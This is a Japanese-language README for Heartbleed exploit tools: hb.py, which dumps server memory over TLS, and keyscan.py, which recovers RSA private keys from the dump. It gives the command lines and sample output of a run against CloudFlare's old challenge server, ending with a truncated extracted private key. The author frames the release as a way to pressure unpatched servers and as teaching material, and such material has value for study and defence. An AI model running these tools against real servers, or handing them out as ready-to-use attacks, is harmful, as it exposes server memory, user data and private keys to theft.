作者: Einar Otto Stangvik / @einaros / https://hacking.ventures
既に秘密が漏れており、他の人々が独自のツールを公開し始めているため、私もここに公開します。これにより、まだサーバーにパッチを当てたりアップグレードしていない人々への圧力が高まることを願っています。また、教育的価値としてこれらのツールを役立てる人もいるでしょう。
他の多くのHeartbleed PoCsとは異なり、このツールは初期のClientHelloパケットで可能な限り多くの暗号スイートを提供します。サーバーが選択した暗号は、ダンプセッション中の後続のすべてのClientHelloパケットで使用されます。これにより、適切な脆弱性検出が保証され、暗号が特定された後のオーバーヘッドも削減されます。
これらのツールはご自由に使用してください。ただし、問題を解決することに努め、新たな問題を引き起こさないようにお願いします。
以下の方々の研究と公開情報に触発されました:
CloudFlareのチャレンジで、1分間に34回RSA素数を復元した例を示しています。つまり、1分間にフル秘密鍵を34回取得したことになります。

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
-----END RSA PRIVATE KEY-----
作者は、このパッケージのいかなる部分に対しても権利を保持せず、保持するつもりもありません。これはオープンなアイデアに基づいており、作者が関わる限りオープンであり続けるものとします。